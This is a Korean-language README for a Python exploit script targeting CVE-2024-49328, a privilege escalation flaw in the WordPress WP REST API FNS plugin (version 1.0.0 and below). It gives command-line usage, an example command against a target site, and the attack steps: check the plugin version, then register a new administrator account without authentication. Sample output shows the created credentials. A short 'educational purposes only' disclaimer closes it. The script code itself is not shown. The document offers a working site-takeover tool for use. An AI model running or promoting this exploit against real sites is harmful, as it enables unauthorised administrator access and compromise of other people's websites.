CVE-2024-49328-exploit

🌟 설명:

이 스크립트는 WordPress용 WP REST API FNS 플러그인의 권한 상승 취약점을 악용합니다. 이 취약점은 1.0.0 이하의 모든 버전에 영향을 미치며, 인증되지 않은 공격자가 관리자 권한을 획득할 수 있습니다.

⚙️ 사용법

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Base URL of the WordPress site
  -e NEWEMAIL, --Newemail NEWEMAIL New email to register
  -p PASSWORD, --password PASSWORD Password for the new user
                        

예제 명령:

python CVE-2024-49328.py -u http://targetsite.com -e [email protected] -p password123

🔍 악용 세부 정보

단계	설명	아이콘
1단계	플러그인의 버전을 확인합니다.	📝
2단계	버전이 악용 가능한지 확인합니다 (1.0.0 또는 이하).	✅
3단계	취약점을 악용하고 새 관리자 사용자를 등록합니다.	🔒
4단계	확인을 위해 사용자 자격 증명과 함께 결과를 출력합니다.	🎉

➡️ 예제 출력

Found Stable tag version: 1.0.0
Version 1.0.0 is exploitable.
Exploiting the site... Please wait.
Successfully
Username: [email protected]
Password: nxploit

필수 패키지 설치

pip install requests

⚠️ 면책 조항

🚨 경고:

이 스크립트는 교육 목적으로만 제공됩니다. 명시적 허가 없이 시스템에 이 스크립트를 무단 사용하는 것은 불법이며 비윤리적입니다.